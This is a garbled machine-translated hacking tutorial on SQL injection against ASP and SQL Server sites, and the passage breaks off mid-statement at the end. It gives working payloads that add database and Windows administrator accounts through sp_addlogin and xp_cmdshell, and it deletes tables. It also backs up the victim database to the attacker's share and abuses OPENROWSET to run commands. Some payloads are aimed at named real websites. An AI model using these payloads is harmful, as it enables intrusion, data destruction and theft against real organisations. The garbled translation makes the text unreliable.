Attack | data | Some attacks on database SQL database
Specific content:
For a lot of news at home and abroad, BBS and E-commerce sites are used asp+sql design, and write ASP programmers Many (there are a lot of just graduated), so, Asp+sql attack success rate
is also relatively high. This kind of attack method and the version of NT and the SQL version is not much relationship, there is no corresponding patch, because the vulnerability is caused by the programmer, and most of the explanation ASP
Cheng's book, the source code examples have this flaw exists, in fact, just some legitimate ASP request for SQL, leaving endless!
This attack method originated from the Or1=1 Vulnerability (we call it a vulnerability), the principle of this loophole I think we all know, then the attendant is; exec
sp_addlogin Hax (Add a Hax user to the database), but this method is very restrictive, first the ASP uses the SQL Server account is an administrator, the second request of the submitted change
At the end of the entire SQL statement, because some programmers use the SELECT * from News WHERE id= ... and topic= ... And .....
This method requests the database, so if you use the example above you will
News.asp?id=2;exec sp_addlogin Hax
becomes a SELECT * from news WHERE id=2;exec sp_addlogin Hax and topic= ... And ...
The entire SQL statement after the execution of the sp_addlogin stored procedure with and and the judgment exists, the syntax is wrong, your sp_addlogin natural also can't run normally, so try the following side
Method
News.asp?id=2;exec sp_addlogin hax;--
Later--the symbol of the sp_addlogin after the judgment statement into a comment, so there will be no grammatical errors, sp_addlogin normal execution!
Then let's use it together.
News.asp?id=2;exec Master.dbo.sp_addlogin hax;--
News.asp?id=2;exec Master.dbo.sp_password null,hax,hax;--
News.asp?id=2;exec Master.dbo.sp_addsrvrolemember SysAdmin hax;--
News.asp?id=2;exec Master.dbo.xp_cmdshell net user Hax hax/workstations:*/times:all/passwordchg:yes/passwordreq:yes
/active:yes/add;--
News.asp?id=2;exec Master.dbo.xp_cmdshell net localgroup administrators hax/add;--
So, you left the Hax administrator account in his database and system.
Of course, the prerequisite is the ASP with the Administrator account, so the virtual space we do not try, there will be no loophole.
Later we will discuss, if the other side of the ASP is not using SQL Administrator account, how we invade, of course, will involve 1433-port intrusion
Of course, we can try to add a symbol behind the id=2, mainly look at each other's ASP how to write
What do we do when the SQL account that the ASP program uses is not an admin?
You like the letter of the homepage, there are news content, as follows:
http://www.talentit.com.cn/news/news-2.asp?newid=117
We can try Http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
Oh, the report syntax error, select 123 Error, it is obvious that the new ASP in the NEWID variable after the end of the number
Then try Http://www.talentit.com.cn/news/news-2.asp?newid=117;delete news;--.
Haha, I think as long as the table name is right, the news library has been deleted
Typically, an ASP's SQL account, even if not an administrator, would be owner of a database, at least with a high administrative authority on the library.
But we don't know what the name of the library is. Look at the db_name () function.
Open your Query Analyzer, look at the print db_name (), hehe, the current database name comes out
By analogy, as follows: Declare @a sysname;set @a=db_name (); Backup database @a to disk= your IP your shared directory bak.dat, name=test;--
Oh, his current database is back to your hard drive, the next thing to do in the hearts of everyone understand it
Similarly this method can find each other's SQL IP
First install a firewall, open ICMP and 139TCP and 445TCP warning tips
And try News.asp?id=2;exec master.dbo.xp_cmdshell ping your IP.
If the firewall prompts someone to ping you, then you can be sure that each other's ASP is using SQL Administrator rights, but also determine the exact location of each other's SQL Server, because many large
A bit of the site to consider performance, will bar Web services and databases separate, when the other side of the big patch to see the source code, I think only this method can quickly locate each other's SQL Server bit
Placed the
Then, if the other ASP does not have SQL administrator rights, we can not call xp_cmdshell, what to do?
Don't worry, try this. News.asp?id=2;declare @a;set @a=db_name (); Backup database @a to disk= your IP your shared directory Bak.dat
, name=test;--
Oh, your firewall should issue a warning, someone connected to your 445 or 139 (Win9 port, so that the other side of the SQL IP can also be exposed
So what should we do if the other person is not even owner of a database? Next time I'll tell you a better way.
In fact, Backuo database to your hard disk or a bit exaggerated, if the other side of the data base is very large, you are dial-up Internet, oh, advised you not to try, it is difficult to successfully transfer the
Next time we'll talk about how to cheat IDs to perform asp+sql intrusion.
Now, some good IDs have started to monitor xp_cmdshell these keys.
All right, fellas, see you next time.
All above URLs want to be submitted via VBScript, because the browser's address bar will block some special characters so that your command cannot be transmitted in full.
Window.location.herf=url
Add: This problem has been put on the internet before, but only a few simple xp_cmdshell call restrictions are very large, in fact, there are many worthy of in-depth areas such as
www.guosen.com.cn. This is the problem with the National credit card, and they use MS's three-tier structure to do what they said before, and the string is filtered, but the xp_cmdshell
I have tried, and SQL heterogeneous requests can still open the Telnet service and the Administrators group account on each other's machine! Because the firewall is very strict checkpoint datagram access
Open only 80 ports Therefore, to get his database structure is more difficult, but there are ways to do: P
By the way, I'd like to remind you about sqloledb,db_name,openrowset,opendatasource these system functions when an ASP's SQL Server account is just an ordinary user, they
It's very useful!
SQL Server new vulnerabilities and some breakthroughs
Next I want to talk about some of SQL Server new bugs, although I after a long period of effort, of course, a bit of a lucky ingredient, only to be able to find, dare not a person alone, take out please
Identification, of course, there may be some experts already know, after all, I contacted SQL Server less than 1 years: P
1. About OPENROWSET and OPENDATASOURCE
Maybe this technique has been done before, using OPENROWSET to send local commands
Usually our usage is (including MSDN's) as follows
SELECT * FROM OPENROWSET (SQLOLEDB,MYSERVER;SA;,SELECT * from table)
Visible (even in the literal sense) OpenRowset only as a shortcut remote database access, it must follow the Select, that is, the need to return a recordset
So can we use it to invoke xp_cmdshell? The answer is YES!
SELECT * FROM OPENROWSET (Sqloledb,server;sa;,set fmtonly off exec master.dbo.xp_cmdshell dir c:\)
You must add set Fmtonly off to mask the default settings that return only column information, so that the output set returned by xp_cmdshell is submitted to the previous select display, if you use
The default setting, which returns an empty collection, causes a select error and the command cannot be executed.
So if we're going to call sp_addlogin, he's not going to return any of the collections like xp_cmdshell, we can no longer rely on the fmtonly set up, you could do the following
SELECT * FROM OPENROWSET (Sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hectic)
In this way, the command will return at least a collection of select ok!, your machine Chamber of Commerce will display ok! and a hectic account in the other's database, which means we use
The return collection of the Select ok! deceives the local select request, and it is the command that works, and sp_addsrvrolemember and OpenDataSource can do the same! As for
The real use of this method, we slowly think about it: P
2. Questions about the MSDASQL two requests
Do not know if you have tried to connect the remote database with MSDASQL, of course, this API must be SQL Server administrator to call, then the following
SELECT * FROM OPENROWSET (MSDASQL,